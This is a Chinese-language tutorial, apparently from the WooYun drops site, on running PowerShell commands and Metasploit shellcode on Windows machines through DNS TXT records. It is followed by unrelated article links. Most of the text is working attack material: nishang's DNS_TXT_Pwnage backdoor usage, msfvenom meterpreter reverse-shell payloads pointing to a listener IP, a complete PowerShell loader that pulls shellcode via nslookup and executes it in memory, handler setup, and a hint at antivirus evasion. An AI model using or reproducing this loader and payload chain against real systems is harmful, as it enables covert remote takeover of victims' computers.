透過DNS TXT記錄執行powershell
0x00簡介
DNS TXT記錄一般用來記錄某個主機名或者域名設定的說明,在這裡可以填寫任何東西,長度限制255。絕大多數的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用nishang透過建立TXT記錄執行powershell指令碼。當然,首先你要有一個域名。
0x01建立TXT記錄
這裡需要使用nishang中的一個指令碼OUT-DnsTxt。
1.常見命令
因為常見命令比較短,所以可以直接新增到TXT記錄中,如下圖:
現在檢視一下TXT記錄:
可以看到記錄已經成功新增了。
2.指令碼
由於TXT記錄長度限制為255,如果要新增一個指令碼到記錄裡面,需要新增多個TXT記錄。下面是一個例子,自己寫了一個PSH指令碼:
#!powershell
function Get-User
{
<#
.SYNOPSIS
Script to generate DNS TXT for a test.
.DESCRIPTION
Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up.
.EXAMPLE
PS > Get-User
#>
[CmdletBinding()]
Param ()
net user
}
使用Out-Dnstxt進行轉換:
PS F:\DNS> . .\Out-DnsTxt.ps1
PS F:\DNS> Out-DnsTxt -DataToEncode .\Get-User.ps1
You need to create 2 TXT records.
All TXT Records written to F:\DNS\encodedtxt.txt
由於這個指令碼比較小,所以只生產兩行:
可以分別將這兩行內容按順序新增到 1.ps.domain.com到2.ps.domian.com中如下圖:
檢視TXT,可以看到內容都已經新增好了:
0x02 執行Powershell
新增完了TXT記錄以後,透過DNS_TXT_Pwnage.ps1來執行這些指令碼。
DNS_TXT_Pwnage.ps1 是一個透過DNS TXT來接收命令或者指令碼的一個後門指令碼
這裡還需要新增兩條記錄,strat與stop,具體如下圖:
1.執行命令
PS F:\DNS> . .\DNS_TXT_Pwnage.ps1
PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -
Subdomains 1 -StopString stop
解釋一下引數:
- startdomain為建立的start.domain,返回一個字串;
- cmdstring 為任意輸入的字串;
- commanddomain為建立的執行命令TXT記錄的域名;
- psstring為任意輸入的字串;
- psdomain為建立的執行指令碼TXT記錄的域名或子域名 ;
- Subdomains為執行指令碼建立TXT記錄的個數(如1.2中建立的指令碼,該值為2);
- StopString為任意輸入的字串。
此處比較重要的引數為startdomain,他會與我們輸入的cmdstring以及psstring進行比較,如果與cmdstring值相等,則執行commanddomain 即命令,與psstring相等則執行psdomain即指令碼。
上面為執行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執行結果如下圖:
我們可以透過修改command.domain的TXT值來執行不同的命令。比如Get-Host:
2.執行指令碼
PS F:\DNS> . .\DNS_TXT_Pwnage.ps1
PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1
cg.me -Arguments Get-User -Subdomains 2 -StopString stop
這裡要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字串。效果如下圖:
這裡多一個引數Arguments,要寫明要執行的函式名,測試發現,在指令碼中含有中文時會失敗。對於需要帶引數的指令碼可以修改指令碼指定引數值。
0x03 執行Shellcode
可以透過TXT記錄執行shellcode,首先,我們使用msf生成一個powershell的shellcode:
☁ ~ sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt
使用Out-DnsTxt對生成的檔案進行轉換:
PS F:\DNS> Out-DnsTxt -DataToEncode .\pspayload.txt
You need to create 3 TXT records.
All TXT Records written to F:\DNS\encodedtxt.txt
然後將以上記錄分別新增到TXT記錄中,如下圖:
測試使用的32位win7系統,使用msf開啟監聽:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8887
LPORT => 8887
msf exploit(handler) > set LHOST x.x.x.x
LHOST => x.x.x.x
msf exploit(handler) > exploit
[*] Started reverse handler on x.x.x.x:8887
[*] Starting the payload handler...
我們還需要一個獲取TXT記錄並執行的指令碼,這裡我改了一個指令碼:
#!powershell
function Execute-Code
{
<#
.PARAMETER Shelldomain
The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
.PARAMETER subdomains
The number of subdomains which would be used to provide shellcode from their TXT records.
.PARAMETER AUTHNS
Authoritative Name Server for the domains.
.EXAMPLE
PS > Execute-Code
The payload will ask for all required options.
.EXAMPLE
PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
Use above from non-interactive shell.
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Shelldomain,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Subdomains,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$AUTHNS
)
function Get-ShellCode
{
Param(
[Parameter()]
[String]
$Shelldomain
)
$i = 1
while ($i -le $subdomains)
{
$getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")
$temp = $getcommand | select-string -pattern "`""
$tmp1 = ""
$tmp1 = $tmp1 + $temp
$encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""
$i++
}
#$encdata = ""
$dec = [System.Convert]::FromBase64String($encdata)
$ms = New-Object System.IO.MemoryStream
$ms.Write($dec, 0, $dec.Length)
$ms.Seek(0,0) | Out-Null
$cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$sc = $sr.readtoend()
return $sc
}
$Shell = (Get-ShellCode $Shelldomain)
#Remove unrequired things from msf shellcode
$tmp = $Shell -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "
[Byte[]]$sc = $tmp -split ','
#Code Execution logic
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
Try {
$winFunc::CreateThread(0,0,$x,0,0,0)
sleep 100000
}
Catch
{
[system.exception]
"caught a system exception"
}
}
引數說明,Shelldomain **為建立txt記錄的域名或子域名;subdomains為建立TXT域名的個數,如上面所建立的為3;AUTHNS **為域的權威名稱伺服器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net
在32位win7上執行:
PS C:\Users\evi1cg\Desktop> . .\Execute-Code.ps1
PS C:\Users\evi1cg\Desktop> Execute-Code -Shelldomain 32.evi1cg.me -subdomains 3 -AUTHNS f1g1ns2.dnspod.net
成功獲取meterpreter會話:
64位的請自行修改payload及指令碼。
0x04 補充
Metasploit中已經含有此指令碼dns_txt_query_exec.rb,此指令碼查詢TXT記錄的順序為a.domain,b.domain...,下面是一個示例,首先生成payload:
☁ ~ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt
使用下面的指令碼對該檔案進行切割:
#!python
#!/usr/bin/env python
#coding=utf-8
def txt(string,length):
return [string[x:x+length] for x in range(0,len(string),length)]
with open('out.txt','w+') as f:
line = open('reverse.txt','r').read()
line= txt(line,255)
for txts in line:
f.writelines(txts+'\n\n\n\n')
輸出如下:
將這三行分別新增到a.domain,b.domain,c.domain的TXT記錄中:
生成exe:
☁ ~ sudo msfvenom -p windows/dns_txt_query_exec DNSZONE=evi1cg.me -f exe > test.exe
msf開啟監聽:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST x.x.x.x
LHOST => x.x.x.x
msf exploit(handler) > set LPORT 8887
LPORT => 8887
msf exploit(handler) > exploit
執行exe,獲得meterpreter:
至於免殺,可以直接生成c格式的shellcode,然後按照打造免殺payload來做。
0x05 小結
本文主要介紹一種執行命令的方式以及nishang的指令碼使用,希望能對大家有幫助。
本文由evi1cg原創並首發於烏雲drops,轉載請註明
相關文章
- 透過歷史記錄執行本地模型2024-04-07模型
- 繞過PowerShell執行策略方法2020-06-20
- 透過dns進行檔案下載2020-08-19DNS
- 查詢SQLSERVER執行過的SQL記錄2014-07-24SQLServer
- PowerShell定時記錄作業系統行為2013-10-05作業系統
- fabric執行記錄2021-11-10
- PowerShell 指令碼執行策略2017-09-01指令碼
- [20210618]記錄bash shell執行的命令.txt2021-06-22
- 在PowerShell中,可以透過多種方式實現多執行緒操作。以下是一些常用的方法2024-04-02執行緒
- 執行緒池小記錄2018-07-02執行緒
- DNS中MX記錄的理解2020-04-06DNS
- 透過dbms_xplan.display察看執行計劃2007-06-08
- 透過查詢檢視sql執行計劃2009-07-28SQL
- go 學習記錄--如何執行2020-03-22Go
- iOS 多執行緒記錄(二)2019-04-16iOS執行緒
- iOS 多執行緒記錄(一)2019-04-15iOS執行緒
- .txt檔案透過Excel拆分行/列2024-04-03Excel
- 記錄一個sql最佳化的全過程.txt2013-03-15SQL
- powershell滲透-資訊收集命令2020-11-14
- 透過 Amazon Managed Microsoft AD 執行混合 AD 服務2023-03-31ROS
- 透過pl/sql計算程式的執行時間2015-01-17SQL
- 透過shell指令碼監控sql執行頻率2014-11-13指令碼SQL
- 執行jive論壇安裝工具無法透過?2003-03-03
- DNS中MX記錄的理解(轉)2007-08-15DNS
- 執行一個專案中間報錯裝包過程記錄2020-10-15
- DNS 系列(一):為什麼更新了 DNS 記錄不生效?2022-07-07DNS
- 王廣帥IM工程執行記錄2020-12-23
- linux 清空歷史執行記錄2024-07-31Linux
- [20170703]SQL語句分析執行過程.txt2017-07-03SQL
- 利用powershell指令碼Windows hosts記錄替換IP2017-11-30指令碼Windows
- 透過SQL_ID檢視SQL歷史執行資訊2016-09-05SQL
- oracle 透過pid 找到sid 再找出執行sql2018-04-12OracleSQL
- DNS 系列(二):DNS 記錄及工作方式,你瞭解嗎?2022-07-11DNS
- 通過 HelloWorld 瞭解 Java 程式執行過程以及執行時記憶體2018-08-28Java記憶體
- 記錄錯誤並繼續執行:錯誤事件記錄子句 --轉2008-08-04事件
- Go 多協程記錄執行結果2021-08-25Go
- java效能調優記錄(執行緒阻塞)2019-01-17Java執行緒
- 記錄Java執行緒相關知識2018-11-30Java執行緒